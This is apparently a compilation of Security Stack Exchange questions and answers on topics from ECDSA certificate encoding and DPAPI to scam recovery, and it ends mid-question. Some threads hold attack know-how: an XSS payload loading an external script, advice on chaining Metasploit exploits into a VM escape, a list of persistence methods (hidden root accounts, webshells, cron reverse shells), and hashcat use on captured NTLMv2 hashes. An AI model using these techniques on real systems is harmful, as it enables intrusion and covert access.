Connected cars: Skills needed for a security specialist Connected cars are being mass produced by many car manufactures such as Audi, GM, Honda and Hyundai (Founding members of the Open Automotive Alliance).

Recently I have read a scaring article about what crackers could do by hacking such a connected car.

What are the most important technical skills or knowledge areas a connected car security specialist must have in order successfully protect cars/companies/people against such threats?

Virtually all new connected cars have IT security issues. First of all, when we talk about connected cars, we refer to wireless connection. So having a good knowledge of how 802.1 protocol list  and  technologies such as LAN function is a must.

Also there is a wide range of software that connected cars may use, including operating systems such as Microsoft Windows and all sorts of software that  covers both proprietary and open source software which thing involves million lines of code leading to eventual vulnerabilities such as this  exploit of  Progressive’s Snapshot driver tracking tool in order to hack into the onboard networks of certain automobiles.  The hacking possibilities go even further to take control of the brakes of the car. So you can guess that a good knowledge of embedded softaware even from the programming point of view is a must.

Conclusion:

Having a good knowledge of WiFi technologies and the embedded software as well as programming are surely required skills. Last but not the least, you need a basic understanding of a car's electronic and mechanical engineering.

Source of the image.


Demonstrate a VM Escape I have to demonstrate a VM Escape for a project. After some light research, I have found a vulnerability CVE-2014-0983 "Oracle VirtualBox 3D Acceleration Multiple Memory Corruption Vulnerabilities". The Rapid7 website shows that an exploit for metasploit is available to trigger this vulnerability.

What is the best way of running the exploit, provided I want the attack to seem remote? (I am using a different PC to act as a remote attacker) The exploit is said to be tested on a Windows 7 host running VirtualBox 4.3.6, but doesn't mention which Operating System is running on the virtual box.

Also are there any  more ways to demonstrate a VM Escape? (I am not skilled enough to actually write VM Escape code)

VM escapes are typically local exploits in that they already need native code execution capabilities to talk to local virtual devices of the guest.

I believe the most convincing way would be to chain this together with a remote exploit, such as one for a browser. Open a Meterpreter session via the browser exploit, then you can use any local exploit from remote to perform privilege escalation or even VM escape. This tutorial summarizes the commands pretty well:

https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/

Please note that CVE-2014-0983 is a memory corruption exploit, so you have to set up your test environment to precisely match the exploit target ("VirtualBox 4.3.6 / Windows 7 SP1 / 64 bits").


Signature in ECDSA-signed X.509 certificates I wonder if there is a standard way of encoding the ECDSA-signature in the signature field of an X.509 certificate.

As far as I understand, the signature is a tuple of two integers r and s. If the signature uses the prime256v1 curve, each integer will be 32 bytes long. There seems to be a most common way of presenting these integers, which is as an ASN.1 DER encoded sequence.

  0x30 0x44 0x02 0x20 [r-value] 0x02 0x20 [s-value]

Is there a standard saying how you may represent the ECDSA-signature in X.509? I have not found anything yet saying how they can or should be represented...

The format you mentioned is the ASN.1 type ECDSA-Sig-Value as specified in RFC5480: Elliptic Curve Cryptography Subject Public Key Information:

ECDSA-Sig-Value ::= SEQUENCE {
     r  INTEGER,
     s  INTEGER
}


Chrome doesn't see SSL certificate for main domain while sees for www I have the following issue: Chrome browser (both desktop and mobile) shows me "Not Secure" label for my main domain "https://astrakhan.ru/" while it works OK for "https://www.astrakhan.ru/".

Firefox and IE work just fine. SSLabs also doesn't see any problem here -- www.ssllabs.com/ssltest/analyze.html?d=astrakhan.ru&hideResults=on (results are the same for both astrakhan.ru and www.astrakhan.ru).

What causes the problem? Chrome shows me only "net::ERR_UNEXPECTED" error but this doesn't seem to be any helpful.

I would suggest an easy alternative to test it out by just redirecting all the traffic for non-www urls to the equivalent www urls using the server configuration.

Here is an example for the nginx server.

https://serverfault.com/questions/624848/redirect-non-www-to-www-over-ssl-with-nginx

or have a look at this solution

https://serverfault.com/questions/738883/ssl-certificate-non-www-not-working

Hope it helps


How secure is Firebase? I am considering using Google's Firebase database for a project, but I am a little concerned with how secure that data will be.

As I understand the flow, the web-based (or mobile) application will contain a copy of the ClientID and use that when the user authenticates to the database. Since there is no explicit server, there is no way to hide that ClientID.

A malicious user could extract the ClientID and connect to the database using his/her own application and then possible corrupt the database.

Is this similar to OAuth 2 implicit flow in the amount of security provided? Am I being paranoid?

You should never design application with direct database access. You should build an API on the server which would proxy all the database requests.

For example, when you visit website, that website, server-side, is connecting to database and serving you data and you can't connect to database directly from you web-app running in your browser.

It's not like your browser downloads a javascript website, which connects to the database. This is wrong flow, wrong design, it should never be done this way without server.

Read about multitier applications here:
https://en.wikipedia.org/wiki/Multitier_architecture


How does proxylist sites discover new proxy? I always got proxies from proxylist websites but I never asked me how these sites discover new proxy. So how?

Usually, these sites have admins or people that work for the site. I know a person that works for these kind of sites and he said he uses a proxy scraper like ProxyFire and other ones.


Obstacle in Implementing a Time Limited/Number of Use Limited Software How does one implement a trial period in a product properly, e.g. a trial period that lasts 30 days, or limits the number of product uses to 10?

Storing the entries, even in an encrypted form, isn't secure: Users can backup the registry values, and restore it it when the trial ends.

What's the proper way to implement Time/Use Limited trial periods?

The trick isn't implementing the feature: that's basic timekeeping, file use, subtraction, etc. The trick is ensuring they don't bypass it. The body of tricks you must google for that is called "code obfuscation techniques." If this was easy, there wouldn't be entire industries producing and countering them. The major tech in this area is DRM, which is basically what you're creating. It typically doesn't work if it's on a machine they control. So, the software needs to be on one you control.

The TPM's are designed to accomplish this, but are failures. The web option another mentioned is possible, but you say that's unacceptable. The last solution that can work in standalone is to provide a piece of hardware that runs your software while protecting it. Technology such as CODESEAL[1], SecureCore, SecureME, etc (Google them) allows software to run in a system while not trusting memory, devices, etc. You might combine a tech like CODESEAL, a simple OS, a driver, and a tiny form-factor PC to make a solution somewhat convenient for your users. They plug the device into their PC, drivers for communication are installed, an app for interface is installed, they register their device via a code (or online), and from that point on they just click an icon to see the application. Even though it seems like it's on their system, it's actually running on the device which protects its code via memory encryption & control flow protection.

That was my design a while back for solving this problem.

[1] http://www.microsemi.com/products/information-assurance/softwareanti-tamper/codeseal


What to do after a scammer took control of my mac? A friend of mine called me in panic mode to tell me that "a message told her her computer was infected, and that she should call the phone number". So did she. Apparently, a lady made her install Team Viewer and did stuff on her computer, during something like one hour. My friend is using a mac, but I have no idea which one. And I have no idea what the "support lady" did exactly. My apologies, as I don't have much details.
I told her to:

Disconnect the now most certainly infected mac from her network
Stop using it until it has been completely reinstalled.

My question is : is there anything else than formatting and reinstalling that can reasonably be done in such case?

That depends on what she did
I know you don't have more information, so I'll just just briefly go over what steps you should do in the future:

Obviously re-install the OS completely. If you have backups of files in some device that was not attached during the infection, you can recover the files from there. If the device was attached, it is a greater risk.
Monitor her credit card statements closely. A lot of scammers who try the tech support scam try to get people to buy overprized hard- or software from them, often via credit card. If she gave out her credit card details to the scammers, then she should contact her credit card fraud hotline, explain the situation and ask for their advice.
If she gave out personally identifiable information, she may be subject to identity theft. I don't know what to do in that situation, but this website of the US government covers the topic.
Speak with her about tech support scams and scams in general. We all fall for scams at times, but it's important to learn from our mistakes.


Can the creator of Bitly links be determined from the link? Let's say that an attacker is using Bitly's web API to generate large numbers of bitly links.

If we have the bitly link (e.g. http://bit.ly/1gX2dD0), is there any way to trace that bitly link back to the creator (e.g. bitly API account) of the link?

Note: I'm asking about this in the context of the Russian spearphishing story

Bitly does not seem to be telling us how they generate the URLs, so we can not know for sure. However, they are so short that I doubt that they contain any information - a lookup in the database would be required everytime anyway to get a full URL from just seven characters. So probably it is just a random ID.

However, I would assume Bitly still knows what account generated that random ID, either from actively storing it in their database, or from just reading through the logs. If Bitly owns the data, they can also loose the data, be it from a data breach or because the US government sends them a letter demanding access.

So I don't think a normal user could figure it out, but I still would not consider it a secret.


Triggering an XSS through a shortened URL? I have this piece of HTML:

<img src="image src" alt="{injectable}" title="{injectable}" border="0">

where {injectable} values correspond to the same input value that has to be 32 characters long. How can I trigger my XSS by an external JS file?

This is what I thought:

a"><script src="url">

It seems to work since Firefox closes my <script> tag automatically (and I think any other browsers do too). But what about the URL? How can I shorten it with a 32 characters long payload?

32 characters are plenty for this case. Without a src, you are at 19 chars. 17 if you omit " around src, 16 if you omit the a (so you get "><script src=>).

You need two chars for the protocol (//) and nothing for the filename (just serve it from root). Which leaves you with 14 chars for the domain name.

You can easily register a domain with 5 characters yourself (2 chars for the name, 2 for the tld, one for the .), so 14 is no problem. The final payload would look something like "><script src=//aa.aa>, where aa.aa is the domain you registered.

You even have 9 chars to spare (eg to actually close the script, use a filename, a longer domain name, etc.)


Are banks required to be PCI compliant? Since credit card transactions like cash advance can be performed at most ATMs, are banks required to be PCI DSS compliant?

The Payment Card Industry DSS rules also apply to banks.  I was at a large UK bank that had to change it's customer database to make the card information more secure from staff as part of a PCIDSS initiative.  This included obscuring part of the PAN (the long number) from operators in the call centres etc.

It should be noted however, that in certain jurisdictions (i.e. the UK) there are a lot of other regulators that have much more effective security controls that are placed on banks and so whilst PCI DSS is applied to the cardholder data usage, it is not the be all and end all.


Cant crack Responder hashes with John or Hashcat I ran Responder in a test network and obtained hashes from a Windows machine. The logs for the machine show something like this (some bytes changed for security reasons) and are stored in a file called "SMB-NTLMv2-SSP-192.168.2.12.txt":

user::user-PC:1122334455667788:0340FB9C9E4F88BEEBBC92105213BD05:0101000000000000D5F72CCE1F6AD301265492A58DFAC6E50000000002000A005300411111111111111101000A0053004D0042003100320004000A002364171BCD43100320003000A0053004D0042003100320005000A0053004D004200310032000800300030000000000000000100000000200000AAD247A0EB2290A13305EA760905EEFD95C50BF057C3BAEEABC821111111111111111100000000000000000000000000000000000900160063006900660073002F006100730064006100730066000000000000000000

The options i used in Responder were -wF.

The problem is i cannot crack this hash at all. All guides show the attacker inputting the log file into hashcat or JohnTheRipper and the hash being cracked, but when I do it i get:

In John: "No password hashes loaded (see FAQ)"
In Hashcat: "No hashes loaded"

It seems both programs are unable to recognize the hash. Also, i'm confused: what does each field (separated by a semicolon) mean in the hash? I know it's a challenge-response protocol, so which part is the challenge and which one is the response?

Thanks in advance!!

Your Responder hash may be invalid, corrupt, or using an outdated format. Is it possible that you're using an older version of Responder, as noted in this question?

Showing my work:

Generally, the best way to validate your hashcat attack is correct for a specific hash type is to try your attack against an example hash from the hashcat wiki list of example hashes. For NetNTLMv2 (mode 5600 - is that what you're using?), here is the example hash for the string 'hashcat':

admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030

... which my hashcat (4.0.1) loads fine for me with:

hashcat -m 5600 -a 3 test.hashes

But my version of hashcat fails to load your hash -- not with the "no hashes loaded" that you're seeing, but with a "salt-value exception" error. (Is it possible that you're running an older version of hashcat?)

I also tried a couple of the Responder hashes shown in some tutorial articles (like this one), and I am able to load those into hashcat using -m 5600.

So I've tentatively concluded that there's something wrong with your hash.


My boss is spying on me My boss is spying on me. I'm running ubuntu 17.04, the firewall is up, ssh is off, x11 has notcp set. I'm not an expert, but I can't find how he gets into my computer. Either he has a RAT (he installed the pc) or he is using an exploit. What can I do to gather evidence and after that lock him out of my pc.

I already tried to talked to him, but he denies everything. The thing is, I saw the tool he used. Spying on employees is illegal in my jurisdiction. I'm ready to post configs, logs, the works.

Suppose you do collect some evidence. What are you hoping to accomplish? You really want to keep working for someone who installed spyware on your computer and lied about it? Do you truly think this relationship will flourish as a result? And you think this will stop once you "lock him out"?

Your first step needs to be contacting an attorney trained in employment law. At the very least, you might have some damages owed to you. From him you will learn what burden of proof you need to bear in order to pursue a legal case if you can't shake your boss down for money.

Evidence collection is hairy. Attempts to collect your own may not be admissible in court or your methods discredited, as you are not trained in evidence collection. Furthermore you could open yourself up to being sued yourself-- depending on the contents, attempts to upload pcaps or logs offsite can yield claims of intellectual property theft against you.

So you really need to consult a local attorney who can guide you through what is less a technical issue and more a legal one.


How to use DPAPI under load balance environment DPAPI can be used to encrypt the secret data. We intend to use it in our web app to encrypt some data and store the encrypted data in database. When needed we decrypt the data and present them on UI(web page). It works well if we hosted the web app on a single web server. But the problem appears when we migrate it to a load balance environment -  hosting the web app on multiple web server. Because the app cannot decrypt the data which encrypted on another machine.  We refer to some information from internet, it looks like we need to config a roaming user account and run the application pool with that account.
The reason we want to use DPAPI is that it will not involve additional management work on the keys.
Do you have some similar experience, how do you solve the problem? Or some other suggestions?

There are two relatively small changes you should make to your setup.

First of all, you should always be using DPAPI in USER_MODE, this is a parameter to the DPAPI methods.
(The .Protect() methods of ProtectedData and ProtectedMemory classes take an additional scope parameter, this should be set to DataProtectionScope.CurrentUser for ProtectedData, or MemoryProtectionScope.SameLogon for ProtectedMemory, depending on which you are using.)
(If you are calling the WINAPI functions directly, which I hope you're not using, you can send the USER_MODE parameter directly too. Oh, and use the .NET classes instead.)

Secondly, you should be using the DPAPI classes to encrypt your encryption key - not the data directly.
In other words, you generate a single encryption key, distribute this to all your servers, and have them store the key via DPAPI. (Yes, you'll probably need a small utility for this.)
This will make any key management processes much easier, the key is shared so decryption is easier, and it is still protected by the DPAPI encryption.


Recover 7zip password with partial password matching I encrypted some files using 7z with AES-256 + file name encryption. The compression level was Ultra, method: LZMA. The password I regularly use is 16 digits. Now the file is not opening. I guess one of the letters in the password was replaced by accident (since I had the "show password" ticked on, there was no chance of confirming the password while I set it).

Is there a software which will allow to check and recover passwords in 7zip archives using a partial match? I had recovered a 8 digit windows xp password using a software called sam-something(samcrack or ) several years before but by a partial match.
Thanks for the answers.

No, that's not the same. You can't recover a part of the 7zip password.
Since you encryted the files with a preshared key (your password), you would have to guess the whole password, not just a part of it.
You are gonna do a bruteforce attempt on it. Try googling around for some 7zip bruteforce tools, maybe rarcrack can help?
https://en.wikipedia.org/wiki/Pre-shared_key

The samcrack only worked because of DES used in the older versions of windows (LANMAN) password database, where the password is divided up into two 7-byte DES hashes, creating a max of 14 characters, and also very easy to crack. You can't do that on newer versions of windows.
https://en.wikipedia.org/wiki/LM_hash


How to detect, if ESP32 or ESP2866 IoT devices hide malicious in their firmware? ESP32 and ESP2866 devices are very famous as cheap IoT controller and connect via wireless LAN.

Unfortunately the firmware of these devices is still closed source and quite large. It is there any chance to detect, if malicious software is shipped in the firmware, which opens backdoors or harms the network?

Your question is similar to asking if there are any indicators that you can trust a person you've never seen before. The answer in this case is that there are no direct indicators and that you have to rely on the experiences of others with this person. This means in case of these controllers

Check the reputation of the company.
Check how much these products are used.
Check what experts (real experts, not claimed experts) say, i.e. if they recommend these products or not. Note that there might not only be a problem of explicit backdoors but also of bugs which might be used as a backdoor.
And, in times where the NSA and probably other government agencies are able to compromise everything you should also check the distributor and the parcel service, since you might get a version of the controller which was compromised on the way to you.

Of course, how much efforts you take in checking all these depends on your security needs. And this is again the same with the unknown person: if you just risk of loosing $10 when trusting this person you will not do much checks but if you risk of loosing $10.000.0000 you'll probably invest a larger sum in doing deeper background checks.


Is this password hashing + salt method the most secure way possible? I am just wondering what all the security experts think of my method for password hashing.  I want to come up with a method I can use for all my future web development projects.

First I create a random salt based on a 32 byte array :

RNGCryptoServiceProvider provider = new RNGCryptoServiceProvider();

byte[] randomNumber = new byte[32];

provider.GetBytes(randomNumber);

string salt = System.Text.Encoding.UTF8.GetString(randomNumber);

I would then store that salt in the user's database row.

To hash the password, I would use :

                // Create a new instance of the RijndaelManaged

                // class.  This generates a new key and initialization

                // vector (IV).

                using (RijndaelManaged myRijndael = new RijndaelManaged())

                {

                    myRijndael.GenerateKey();

                    myRijndael.GenerateIV();

                    // Encrypt the string to an array of bytes.

                    byte[] encrypted = EncryptStringToBytes(salt + password, myRijndael.Key, myRijndael.IV);

string encryptedPassword = System.Text.Encoding.UTF8.GetString(encrypted);

                }

The EncryptStringToBytes and DecryptStringFromBytes methods can be seen here : http://msdn.microsoft.com/en-us/library/system.security.cryptography.rijndaelmanaged.aspx

If anyone could look this over and let me know of any vulnerabilities or places where I could strengthen it, I would greatly appreciate it!  Thanks!

Edit

I've implemented a version of BCrypt here :

        string myPassword = "password";

        string mySalt = BCrypt.GenerateSalt();

        string myHash = BCrypt.HashPassword(myPassword, mySalt);

No, no, no, no, no. Encryption is not hashing.

You need to use  a strong hashing algorithm like bcrypt or pbkdf2 instead. You can use a library like Bcrypt.Net.

With the library, hashing a password is simply a matter of calling,

BCrypt.Net.BCrypt.HashPassword(password, workFactor);

Verification is just as easy,

BCrypt.Net.BCrypt.Verify(password, hashed_password);

If you do not want an additional dependency in your project, look into using the built in Rfc2898DeriveBytes class instead.


How to exploit publicy known vunerable version of jquery? i searched no-stop for a lot of time trying to see how the publicy known "Vulnerable version of the library jquery" can be exploit to make proof of concepts to website owners.

Let's say we have The library jquery version 2.1.1 that has known security issues.

if you search for it in internet you get that is vulnerable to XSS and another attack... but i can't find anywhere how to actually exploit the xss or any type of known issues... i want to be able to test it myself.

edit: what do i have to look for? where do i have to test?

One important distinction to make here is that only because the jQuery library contains known vulnerabilities, it does not mean that the website is vulnerable to the contained vulnerability.

As with many libraries, a website using jQuery will only be affected by a vulnerability if it uses the vulnerable function in vulnerable way. If it does not use the functionality at all, the issues will not be exploitable. They might become exploitable if the used functionality on the website changes.

Looking for example at the mentioned jQuery 2.1.1. This version is, according to the site http://research.insecurelabs.org/jquery/test/ vulnerable to

jQuery issue 2432 - 3rd party $.get() auto executes if content type is text/javascript
jQuery issue 11974 - parseHTML executes inline scripts like event handlers

The first issue (https://github.com/jquery/jquery/issues/2432) can be exploited only if the vulnerable site uses $.get() for a URL that returns a response that can be influenced by you. If you cannot control the URL or the content, only a theoretical threat exists. The website owner of the site where the URL points could theoretically execute a XSS attack against the site that uses the vulnerable jQuery version in the mentioned way.

The second issue (https://bugs.jquery.com/ticket/11974) can only be exploited if the website uses the function $.parseHTML() and you can influence the input to that function. If is does not use the function in the described way, you cannot exploit the issue.

To wrap things up:
If you see the message "Vulnerable version of the library jquery" you will have to look at the JavaScript code that is actually used by the website and identify if it uses the vulnerable functions in a way that can be exploitet by you. If it doesn't, you cannot create a proof of concept exploit or exploit the vulnerability.


Different ping and download speed between Windows and Linux machines I'm seeing significant differences in download and ping speeds between my Linux and Windows machines.

Linux(galliumos)
Ping: 15
Dl:73.76Mbps
Up:12.23Mbps

Windows 10
Ping:31
Dl:19.79Mbps
Up:11.21Mbps

I'm connected through wifi.

I'm a networking noob so have no idea what causes/caused this discrepancy. Can a Windows machine show similar symptoms if it has been compromised, or is what I'm seeing normal?

edit: I've run speed tests a few more times and it seems the download/upload speed isn't consistent on the window machine. Sometimes I get 60Mbps down (rare), mostly around 18 - 20Mbps and sometimes as low as 4 - 8Mbps down. On the other hand, the the Linux machine stayed around 60 - 75Mbp constantly and occasionally dipped to 50Mbps.

On Windows systems, enabling power saving modes ("Power Plans") can reduce networking performance (especially with wireless connections). My laptop with CentOS 7 and Windows 7 experiences the same effect, until I set my Windows Power Plan to be "High Performance". After that, download speeds are identical, if not close enough.

Super User has a post about how to change power plans: https://superuser.com/questions/957500/easy-way-to-switch-power-plan-in-windows-10


Change the preferred algorythm from AES to Camellia in an existing PGP key I already created a PGP key-pair in Thunderbird Enigmail on Ubuntu. Now I would like to change the key, so it uses preferably Camellia-256 for encryption.

How can I change the preferred algorithm from AES 256 to Camellia-256 in my existing key?

UPDATE:
I want to find out how to add the information that I prefer CAMELLIA256 to my already existing PGP key. I guess this can be done using the commandline somehow like gpg2 --edit-key ...
and use setpref CAMELLIA256 somehow, but I cannot find a good site that explains this syntax

You can look up available algorithms by running gpg --version, An example output might include:

Cipher: IDEA, 3DES, CAST5, BLOWFISH, AES, AES192, AES256, TWOFISH,
        CAMELLIA128, CAMELLIA192, CAMELLIA256

Start the edit menu using gpg --edit-key [key-id] (replacing [key-id] with your key id, and you might have to use gpg.exe again as described above). Inside, you can use showpref to list the currently set up preferences, and setpref to change them. The user interface for doing so is horrible, and you have to provide a long list of cipher, digest and compression algorithms, while the preferred ones always have to be listed first.

An article on debian-administration.org also describes this procedure, and proposes following preferences, which seem reasonable:

setpref CAMELLIA256 SHA512 SHA384 SHA256 SHA224 AES256 AES192 AES CAST5 ZLIB BZIP2 ZIP Uncompressed

(There will be a preview of the result, before you really edit the key)

Additionally for future keys, to enforce the use of CAMELLIA256, edit your gpg.conf file and add following line:

personal-cipher-preferences CAMELLIA256


I have been hacked and im not sure how -- Ubuntu 14 VPS, crypto wallet I own a crypto currency website and host a wallet on a VPS, for thew past 3 months someone has been removing coins (very little amounts at a time) from the wallet and i have no clue how, here are the details i have:

All server run ubuntu 14.0 on a VPS

I am protected with cloudflare: with the highest level of free security they offer

I have a loadbalancer using ha proxy to redirect to my application server

my application server is then linked to a wallet(transaction) server and a mysql db server

transaction commands are given by the user , the appplication serve immediately sends the command to the wallet server and the funds are transfered instantly

so from wahat i can see, the attacker is removing coins in many but very small transactions, so its likely all automated,

steps taken:

1)after changing my application server and wallet server completely (from scratch and new ip address) the hacker removed coins almost instantly (within 10-15 minutes)

2)after remaking and changing my sql server , same thing , hacked within minutes

so i initially thought that taking step 1) would somehow hide my server ip (cloudflare, laodbalancer) from the attacker and would make it hard for him to hack again, but it didnt even make them blink

i then though that he may have brute forced my mysql server password. this would mean he was increasing his balance(in the db), withdrawing through the site and then deleting the records of withdrawal, but after changing the server and password,in step 2), he still managed to withdraw funds within minutes

my next solution will be to create a database table that holds the withdrawal commands and then the transaction server can independently fetch those withdrawals and i can also set limits there,

i just wanted to know what people think before i go through this effort and if i could be missing something obvious to someone else (although i know none of this brings much if enough details)

thanks in advance for the help, it is truly appreciated, at the moment my site cant operate because of this :/

PS: if you need more info please let me know

To recap:

You changed application server
You changed network parameters
You changed database server

Still to no avail. What's logically left, then is:

Your application
The load balancer

I assume the HA load balancer doesn't do much and is part of Cloudflare's services. Therefore, looks like your web application is the vulnerable point.

Have you considered getting it pentested?
Do you have multiple users/passwords?
Are you the only person with access to that server, or do you share admin credentials with other people?
Are you sure you're not rounding off values in whatever software you use? Did you check the blockchain against a third party to verify that small amounts are actually being transferred from your wallet?

If everything else fails start auditing your own computer or access methods: perhaps, as one of the comments suggest, your computer is compromised.


prevent form submission Say in my cms I have a few page that only internal personnel could go to that page and submit sensitive information... how do I prevent from people fake a form to submit from that page?

Assuming they could try to recreate the form with guessed input name and they are in the same domain (a public page contain form and they change from there)

Current Session can be checked with any request, so implement user privileges and check if current user has the required privillage to do the operation. Also make sure prpoper csrf protection is given to that form


Will the ISP know what sites I visit if I use a VPN? If I use a VPN, and visit any site on HTTPS, will the ISP know what sites I have visited? Because IP-addresses of websites are not encrypted?

And if the answer is yes, are there any ways to solve this problem?

In short, No!

They see the IP of the VPN service and probably log it, and all your traffic including URL's IPs to your sites are encrypted. But if the VPN service is not encrypted, then the ISP could in theory can see all your traffic.

However, if you are using a split tunneling mode, then the ISP can see your DNS queries and surfing traffic.

Read more about VPN, and be sure what mode you are using.


Can someone read my email if they have my smtp credentials? Assume Mallory knows the server, username and password that Alice uses to send email via smtp. Can Mallory read Alice's email? Does it depend on the specific system or configuration?

Maybe.

It depends on what controls there are. Credentials alone will not work if:

processes limit which IPs can connect
processes look for anomalies in what is connecting
Multi-factor authentication
the credentials are only for sending and not accessing mailboxes


ISSA vs ISACA vs (ISC)2 I am an aspiring information security professional. I have asked various professionals in the community for advice and one common theme in responses to my inquiries is "Get to know the community!" They advised me to join my local chapter of one of the following organizations:

ISSA
ISACA
(ISC)2

Of course I want to join and participate in all three organization, however there is the reality of time constraints and membership fees.

All three have a local chapter in my area, offer monthly meetings and various other perks. My main concern is the greatest amount of exposure to the information security community ( networking with / meeting information security pros ) and which organization is the most respected?

So, in your opinions which would be the most advantageous for an aspiring information security professional?

I was in the same boat as you are about a year ago. The way i got around it is by getting my hands dirty into the business. I am not sure what kind of role you aspire to be ( manager, researcher, penetration tester,etc). You need to figure that out first.

IMHO you cannot be a info sec manager without being good at say network security, pentesting, Linux admin etc. I believe a solid way to learn would be to take some certifications.

I personally did OSCP which teaches you alot. It has a much higher bar to clear as it is extremely lab driven. It takes hours and hours of hard work and patience  to be a good info sec professional. If you don't want to pay for the course, how about spending some time hacking a couple of free vulnerable systems especially designed for pentesting novices.

OSCP

VulnHub

All said and done I am not a big fan of meetings/discussions but others maybe.

May the force be with you! Good luck.


Maintaining root SSH access on Linux Ubuntu even after losing it? Consider I have root ssh access to a Linux server (Ubuntu 18.04 LTS). What is the best way to maintain access even after losing ssh access? Are there any tools out there to help maintaining stealthiness and access(root)?

Persistence

This would be called 'persistence' both from perspective of automated malware and a human attacker.

Some popular approaches include:

Extra user accounts - for example, creating an account 'hacker' with full suid privileges would allow to log in if the root credentials are changed;
Backdoors - for example, a php webshell on a webserver, or a running CobaltStrike beacon, or a netcat bind shell listener would enable future access even if ssh becomes blocked as such. Also, downgrading some system service to an older version with known remote code execution vulnerabilities would be a useful backdoor.
Scheduled tasks - for example, a cron job that runs a reverse shell every hour to an attacker-controlled adress, or a system startup script that adds an extra privileged account and backdoor when a system is restarted would enable to regain access at a later time if the attacker is kicked out.


Adding custom embedded Precertificate SCTs into the certificate? It it possible to insert a list of ct certificate timestamps in the my own certificate created in by internal CA using openssl configuration file. I didnt find any information about ASN.1 sequence describing how to insert SCTs extension into openssl.cnf file.

For example:

CT Precertificate SCTs:
                Signed Certificate Timestamp:
                    Version   : v1(0)
                    Log ID    : A4:B9:09:90:B4:18:58:14:87:BB:13:A2:CC:67:70:0A:
                                3C:35:98:04:F9:1B:DF:B8:E3:77:CD:0E:C8:0D:DC:10
                    Timestamp : Nov 13 16:57:03.632 2014 GMT
                    Extensions: none
                    Signature : ecdsa-with-SHA256
                                30:45:02:20:06:14:6A:E3:6D:0F:84:5D:6A:98:E7:29:
                                94:80:8B:F2:A4:23:85:68:4E:F9:BC:50:7C:FF:7B:94:
                                EB:20:54:82:02:21:00:91:63:83:FD:F6:31:5E:38:08:
                                AF:A7:5E:00:B7:0B:9B:1F:8B:FD:4D:7E:49:3C:43:E6:
                                64:E5:4B:F9:60:D7:89
                Signed Certificate Timestamp:
                    Version   : v1(0)
                    Log ID    : 68:F6:98:F8:1F:64:82:BE:3A:8C:EE:B9:28:1D:4C:FC:
                                71:51:5D:67:93:D4:44:D1:0A:67:AC:BB:4F:4F:FB:C4
                    Timestamp : Nov 13 16:57:03.619 2014 GMT
                    Extensions: none
                    Signature : ecdsa-with-SHA256
                                30:45:02:20:61:4F:69:89:80:6A:62:2D:8E:A2:D0:24:
                                A5:E2:1D:74:67:51:77:C1:9B:DE:99:DE:16:56:2B:02:
                                77:A8:25:49:02:21:00:D3:41:6C:5D:88:40:F0:7A:FE:
                                E0:25:09:86:71:63:86:49:54:DD:96:E4:B5:9B:4A:84:
                                65:A9:25:12:F1:B7:E0

Is it possible at all?

RFC 6962 describes (pretty hidden) that:

  by encoding the SignedCertificateTimestampList
     structure as an ASN.1 OCTET STRING and inserting the resulting data
     in the TBSCertificate as an X.509v3 certificate extension (OID
     1.3.6.1.4.1.11129.2.4.2).

(OID-ref here.)


Is there a way to clone Mifare DESfire EV1 key sent by a NFC reader? If I understood well its functioning, the card send an ID (NFC tag) if it has received a correct encryption key.

Probably by the reader?

So it must be possible to attack the reader instead of the card, wouldn't it?

The key is not sent by the reader. A challenge-reponse protocol is used for the reader to prove to the card it holds the key. To attack this over the air you would need to break the underlying algorithm - which makes this question "how secure is Triple-DES / AES.

If you are asking about attacking the reader directly then yes the reader has to store the key. These are usually programmable - so with access to that interface you may be able to lift the key. But this is going to be highly reader and key distribution method dependent.

It is also worth noting the cards support per-application keys. A well designed system would segregate functionality so if a single application had keys compromised others would still remain secure. For example for a canteen system you could have different keys for topping up the card and spending the balance. If the cafeteria tills card readers became compromised it would still not be possible to add false balance - only to withdraw it.


How to correctly secure a ssh session against MITM attack? How do you improve the security of your ssh session against a man-in-the-middle attack?

Make sure you pay attention to the warnings about changes to the server's public key.  If you get a warning like this, say "no" and check the public key fingerprint through out-of-band means; don't say "yes" unless you have verified the public key fingerprint somehow.
If you never connect to new hosts, you can set
StrictHostKeyChecking yes

in your ~/.ssh/config configuration file (or in /etc/ssh/ssh_config).  However this may be annoying if you frequently connect to new machines.
Read the section VERIFYING HOST KEYS of the ssh man page.
Read How do RSA fingerprints protect from MITM attacks? on this site.
Use a SSH private key, not a password, to authenticate.
If you are in control of your own infrastructure, you can look into setting up ssh certificates for both hosts and users. This allows the ssh client to verify the identity of the ssh server.  This may be the best solution against man-in-the-middle attacks, as it eliminates the need for users to check fingerprints carefully.  Realistically, many users probably won't bother to check, so ssh certificates may be a more usable and more reliable defense.


What is the correct crypto to use for a "Password Wallet", where decryption of the secret is needed? I would like to create a shared "password wallet" where I encrypt several instances of a  username/password and store it in a common location.

I don't expect all key/value pairs to have the same encryption key; in fact I'd prefer that most usernames and passwords were encrypted using a different key.

What is the ideal crypto technology to use in this case?

There are two simple ways to do this.

The simplest is to have one wallet per individual.  If both Alice and Bob should be allowed to view a particular username/password combination, no problem, you just add it to both their wallets.  Each individual's wallet is encrypted using the passphrase that individual uses to open their wallet.

This is a very simple scheme.  Before you object that it requires storing multiple copies of some entries, I want to remind you that space is cheap.  The extra storage required is absolutely trivial.
Here is a slightly more clever, and slightly less simple, solution.  For each username/password combination, you pick a new random symmetric key K.  You encrypt the username and password under K.  Then, for each user who is authorized to read this username/password, you append an encryption of K under that user's passphrase.

For instance, suppose Alice and Bob are authorized to read the username/password "bloggerdude/fye7wi".  Suppose the passphrase that Alice uses for opening his wallet is PA, and the passphrase that Bob uses for opening his wallet is PB.  Then you might store the following entry in your wallet:

Encrypt(K, "bloggerdude/fye7wi"), Encrypt(PA, K), Encrypt(PB, K).

I don't think this has any strong advantages over the first scheme, but I thought I'd mention it for completeness.

Lastly, I'd like to mention a few other considerations you may want to keep in mind, as you design your wallet:

I suggest you use some mechanism to slow down dictionary attacks on people's passwords.  For instance, you might use PBKDF or the bcrypt password hash.
Use a random salt.  Never store any deterministic function of just a user password; that is vulnerable to time-memory tradeoffs ("rainbow tables", in the popular venacular, though it's broader than that).
You might consider providing an easy way for users to generate a new strong password, to add to the wallet, when they create an account on a new site and need a password to go with it.


Enforce a secured protocol over public api I have implemented my product's HTTP(REST) API as a public API.
